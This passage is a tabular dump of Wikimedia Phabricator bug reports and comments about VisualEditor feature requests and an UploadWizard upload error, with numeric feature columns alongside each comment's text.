**Severity**: enhancement",Medium,50.0,1374931680,1394055873.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-yocptvdek2u4pm4ssk5d,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,12.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.323529411764706,0.75,"An editor on en.wp has requested that Ctrl+Y should initiate the redo action. Presently the shortcut is ctrl+shift+z.

In my experience both shortcuts are used in about 50% of applications (Xubuntu Linux) so it would be ideal if both shortcuts could be used.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
241784,VisualEditor: Add CTRL+Y as a second shortcut for redo,"Change 116966 merged by jenkins-bot:
Add cmd/ctrl+y as alternative shortcut for redo

https://gerrit.wikimedia.org/r/116966",,,1394054746,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,"Change 116966 merged by jenkins-bot:
Add cmd/ctrl+y as alternative shortcut for redo

GERRIT_URL"
241779,VisualEditor: Add CTRL+Y as a second shortcut for redo,"Change 116966 had a related patch set uploaded by Catrope:
Add cmd/ctrl+y as alternative shortcut for redo

https://gerrit.wikimedia.org/r/116966",,,1394051814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.478260869565218,1.0,"Change 116966 had a related patch set uploaded by Catrope:
Add cmd/ctrl+y as alternative shortcut for redo

GERRIT_URL"
241774,VisualEditor: Add CTRL+Y as a second shortcut for redo,"Add cmd/ctrl+y as alternative shortcut for redo
https://gerrit.wikimedia.org/r/#/c/116966/",,,1394038226,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,"Add cmd/ctrl+y as alternative shortcut for redo
URL"
241768,VisualEditor: Add CTRL+Y as a second shortcut for redo,"**jonathan_haas** wrote:

Ctrl+Y is the default undo shortcut in Firefox. It's very confusing that it doesn't work in VE using Firefox.",,,1375020469,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yocptvdek2u4pm4ssk5d,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,13.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7419354838709675,0.8064516129032258,"**jonathan_haas** wrote:

Ctrl+Y is the default undo shortcut in Firefox. It's very confusing that it doesn't work in VE using Firefox."
54130,VisualEditor: Come up with something better than .offsetOf(),"We overuse both ""index"" and ""offset"" in our vocabulary, and one of the more cringe-worthy results is the rename of .indexOf() to .offsetOf() in AnnotationSet. We should refactor our vocabulary and rename this to something saner.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374887040,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-y2db4ahscixrwviebqhf,task_description,open,True,c1,3,False,False,,3,,0.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,7.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,9.0,1.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.029850746268656,0.6268656716417911,"We overuse both ""index"" and ""offset"" in our vocabulary, and one of the more cringe-worthy results is the rename of .indexOf() to .offsetOf() in AnnotationSet. We should refactor our vocabulary and rename this to something saner.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
54122,VisualEditor: Adding support to Grammar/Orthography fixes custom wiki defined button to be applied on texts visually on client side,"**Author:** `nzmoihue`

**Description:**
I think one nice/needed addition to Visual Editor would be supporting custom wiki defined scripts for fixing text [without interfering with wiki text]. For example on Persian Wikipedia we have an edit tool script [1] [2] that wiki users are very depends on it for fixing article texts and without it Visual Editor would be useless for them.


 1. http://fa.wikipedia.org/wiki/%D9%88%DB%8C%DA%A9%DB%8C%E2%80%8C%D9%BE%D8%AF%DB%8C%D8%A7:%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7%DB%8C_%D9%88%DB%8C%D8%B1%D8%A7%DB%8C%D8%B4%DB%8C
 2.http://fa.wikipedia.org/wiki/MediaWiki:Gadget-Extra-Editbuttons-Functions.js

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374875580,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7ljydmhlfgrzwegrjhpj,task_description,open,True,c1,3,False,False,,3,,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,9.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,3.5,3.9034833091436867,0.7804789550072568,"**Author:** CODE

**Description:**
I think one nice/needed addition to Visual Editor would be supporting custom wiki defined scripts for fixing text [without interfering with wiki text]. For example on Persian Wikipedia we have an edit tool script [1] [2] that wiki users are very depends on it for fixing article texts and without it Visual Editor would be useless for them.


 1. URL
 2.URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
240801,VisualEditor: Adding support to Grammar/Orthography fixes custom wiki defined button to be applied on texts visually on client side,"I love this idea.

Wikipedias in several languages have such tools, and everywhere it's implemented differently.

The Hebrew Wikipedia has a fully automatic bot making spelling correction on which there's a wide consensus (with over 700 rules), and it also a gadget that adds a button to make semi-automatic edits when fully automatic edits are not reliable enough. I believe that the tool about which Ebrahim is speaking is similar.

If I'm not mistaken, Russian, Belarusian, Portuguese, Catalan and English Wikipedias have such tools, too, though there are definitely differences in implementation. Almost certainly there are more languages that have such tools.

It may be challenging to make a tool that would work equally well for all languages. Different languages have very different requirements. However, acknowledging that at least some languages needs some kind a framework for this and that not being able to use it is a regression for many users, and providing some standard baseline to work with it will be a good start.

What standard baseline? At least, a standard location for a button that would open such a tool. Another thing that would be useful to everybody would be an agreed API for automated or semi-automated searching and replacing in contentedtiable.

A harder thing to do would be to have a standardized format for replacement rules, though this will require at least a bit of research of the current implementations.

(A general comment: The standardized way of marking the text's language, which Moriel is developing in her GSoC project, should be helpful for such tools. They shall only need to work on the parts that are written in the appropriate language.)",,,1375135304,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-7ljydmhlfgrzwegrjhpj,task_subcomment,,True,c1,3,False,,,4,,1.5,0.25,0.75,0.25,0.75,9.75,2.25,0.0,0.5,0.25,1.5,0.25,0.0,0.5,0.75,0.75,0.75,5.0,10.25,0.25,2.0,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.25,2.25,0.25,5.0,0.25,1.25,1.25,0.0,0.0,0.25,0.0,1.0,0.0,0.5,0.0,2.25,0.0,1.0,0.0,1.5,0.5,12.0,0.5,0.5,0.25,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.25,0.25,0.0,0.0,0.0,1.5,0.0,6.25,4.0,7.5,1.75,1.75,9.75,0.0,0.0,0.0,0.0,4.75,0.0,0.25,0.0,2.5,10.25,2.75,0.25,0.0,0.0,2.5,0.0,2.75,4.25,0.0,2.0,0.5,0.75,0.0,4.395061728395062,0.7376543209876543,"I love this idea.

Wikipedias in several languages have such tools, and everywhere it's implemented differently.

The Hebrew Wikipedia has a fully automatic bot making spelling correction on which there's a wide consensus (with over 700 rules), and it also a gadget that adds a button to make semi-automatic edits when fully automatic edits are not reliable enough. I believe that the tool about which Ebrahim is speaking is similar.

If I'm not mistaken, Russian, Belarusian, Portuguese, Catalan and English Wikipedias have such tools, too, though there are definitely differences in implementation. Almost certainly there are more languages that have such tools.

It may be challenging to make a tool that would work equally well for all languages. Different languages have very different requirements. However, acknowledging that at least some languages needs some kind a framework for this and that not being able to use it is a regression for many users, and providing some standard baseline to work with it will be a good start.

What standard baseline? At least, a standard location for a button that would open such a tool. Another thing that would be useful to everybody would be an agreed API for automated or semi-automated searching and replacing in contentedtiable.

A harder thing to do would be to have a standardized format for replacement rules, though this will require at least a bit of research of the current implementations.

(A general comment: The standardized way of marking the text's language, which Moriel is developing in her GSoC project, should be helpful for such tools. They shall only need to work on the parts that are written in the appropriate language.)"
54105,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"People would like to be able to edit the language links that are coming from Wikidata in the page settings dialog. A link from there to Wikidata would probably also be a good first step.

**See Also**:
{T59929}
{T64005}
{T74178}",Medium,50.0,1374859560,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-czxsast2el34thkj2xkj,task_description,open,True,c1,3,True,False,,3,,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.3859649122807016,0.7017543859649122,"People would like to be able to edit the language links that are coming from Wikidata in the page settings dialog. A link from there to Wikidata would probably also be a good first step.

**See Also**:
{T59929}
{T64005}
{T74178}"
239824,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"(In reply to Elitre from comment #7)
> Thanks. So should I file a new one, or...?

Filing a new bug about the Wikidata tool destroying your current edit by navigating away sounds like a good plan, yes, sorry. :-)",,,1393519722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,15.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,3.717948717948718,0.9487179487179487,"(In reply to Elitre from comment #7)
QUOTE

Filing a new bug about the Wikidata tool destroying your current edit by navigating away sounds like a good plan, yes, sorry. :-)"
239819,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"Thanks. So should I file a new one, or...?",,,1393519677,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.6153846153846154,1.0,"Thanks. So should I file a new one, or...?"
239813,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"(In reply to Elitre from comment #4)
> Apparently this is how it currently works? You can add links to Wikidata
> while in VE, but then you'll miss them because the page will be reloaded?

(In reply to Elitre from comment #5)
> Sorry, rephrasing: You can add items to Wikidata while in VE, but then
> you'll miss the other edits you made in that VE session since the page will
> be reloaded.

Yes, the Wikidata team's sidebar JS tool to add to language links ignores the existence of VE (and so breaks things, as you say).

This bug is talking about being able to edit the language links inside VE, in the language panel of the ""page options"" dialog which is currently read-only. It's also meant to cover more cases and features than the sidebar JS tool currently does.",,,1393519436,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,1.0,0.0,2.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,11.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,1.0,1.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.5,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,4.5,2.5,10.0,0.0,1.5,6.5,0.0,0.0,0.0,1.0,2.5,0.0,1.0,0.0,2.0,11.5,5.5,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.5526315789473686,0.7105263157894737,"(In reply to Elitre from comment #4)
QUOTE
QUOTE

(In reply to Elitre from comment #5)
QUOTE
QUOTE
QUOTE

Yes, the Wikidata team's sidebar JS tool to add to language links ignores the existence of VE (and so breaks things, as you say).

This bug is talking about being able to edit the language links inside VE, in the language panel of the ""page options"" dialog which is currently read-only. It's also meant to cover more cases and features than the sidebar JS tool currently does."
239808,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"Sorry, rephrasing: You can add items to Wikidata while in VE, but then you'll miss the other edits you made in that VE session since the page will be reloaded.",,,1393509066,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,14.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,9.0,14.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"Sorry, rephrasing: You can add items to Wikidata while in VE, but then you'll miss the other edits you made in that VE session since the page will be reloaded."
239802,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"Apparently this is how it currently works? You can add links to Wikidata while in VE, but then you'll miss them because the page will be reloaded?",,,1393508934,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,13.0,10.0,3.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,13.0,13.0,6.0,6.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.870967741935484,0.967741935483871,"Apparently this is how it currently works? You can add links to Wikidata while in VE, but then you'll miss them because the page will be reloaded?"
239797,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"(In reply to comment #1)
> This would be excellent, but potentially quite a lot of work. Would the
> Wikidata team be interested in exploring with us how this could be done?

Yes :) I don't yet know if/how we can dedicate development time to this but let's talk.",,,1380546193,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,3.0,3.0,0.0,3.0,0.0,3.0,14.0,3.0,3.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9142857142857143,"(In reply to comment #1)
QUOTE
QUOTE

Yes :) I don't yet know if/how we can dedicate development time to this but let's talk."
239791,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,bug52383 suggests the opposite approach: please do not include such complex logic in VE which is already slow. be so kind to improve the current implementation within the VE project if you feel its hacky.,,,1375398625,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,3.0,16.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.473684210526316,0.8947368421052632,bug52383 suggests the opposite approach: please do not include such complex logic in VE which is already slow. be so kind to improve the current implementation within the VE project if you feel its hacky.
239784,[Story] VisualEditor: Ability to edit language links on Wikidata from within the editor,"This would be excellent, but potentially quite a lot of work. Would the Wikidata team be interested in exploring with us how this could be done?",,,1374862588,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czxsast2el34thkj2xkj,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,10.0,3.0,3.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,4.103448275862069,0.9310344827586207,"This would be excellent, but potentially quite a lot of work. Would the Wikidata team be interested in exploring with us how this could be done?"
54070,"""loadImages bad"" error on uploading ~85MB .ogv files","**Author:** `molly.white5`

**Description:**
Twice now I've uploaded .ogv files (made with RecordMyDesktop, if that helps) and gotten a popup that very helpfully informs me, ""loadImages bad"". This appears directly after I choose the file to upload, and I'm guessing it has something to do with the inability to find a thumbnail image? Anyway, at the very least a more descriptive error message might be nice.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374796680,1449164913.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-nvavrb7ko66hv3xap6sb,False,PHID-TASK-s536bhjhjcxh5wim4rzu,task_description,invalid,True,c1,3,False,False,False,3,,0.0,1.0,1.5,0.0,0.0,5.0,1.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,2.5,0.0,5.5,6.0,1.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,8.0,0.5,1.5,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,6.0,1.5,1.0,1.0,0.0,3.5,0.0,0.5,2.5,0.5,1.0,1.0,1.0,0.0,3.849056603773585,0.7830188679245284,"**Author:** CODE

**Description:**
Twice now I've uploaded .ogv files (made with RecordMyDesktop, if that helps) and gotten a popup that very helpfully informs me, ""loadImages bad"". This appears directly after I choose the file to upload, and I'm guessing it has something to do with the inability to find a thumbnail image? Anyway, at the very least a more descriptive error message might be nice.

--------------------------
**Version**: unspecified
**Severity**: normal"
572366,"""loadImages bad"" error on uploading ~85MB .ogv files","I can't find anything that says ""loadimages"" in either today's UploadWizard nor the UploadWizard of July 2013.",,,1449164913,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-s536bhjhjcxh5wim4rzu,task_subcomment,,True,c1,3,True,,,126,,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,9.0,14.0,0.0,9.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,0.9090909090909091,"I can't find anything that says ""loadimages"" in either today's UploadWizard nor the UploadWizard of July 2013."
238016,"""loadImages bad"" error on uploading ~85MB .ogv files","**molly.white5** wrote:

Yes, it happens at Special:UploadWizard on Commons. I do not seem to be getting the error on test2.

The files were https://commons.wikimedia.org/wiki/File:RefTools_rework.ogv and https://commons.wikimedia.org/wiki/File:VisualEditor_reference_tutorial.ogv, which are 84.02 and 86.73 MB, respectively.",,,1374880481,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s536bhjhjcxh5wim4rzu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,19.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,4.0,9.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5319148936170213,0.7659574468085106,"**molly.white5** wrote:

Yes, it happens at Special:UploadWizard on Commons. I do not seem to be getting the error on test2.

The files were URL and URL which are 84.02 and 86.73 MB, respectively."
238011,"""loadImages bad"" error on uploading ~85MB .ogv files","Hi Molly,
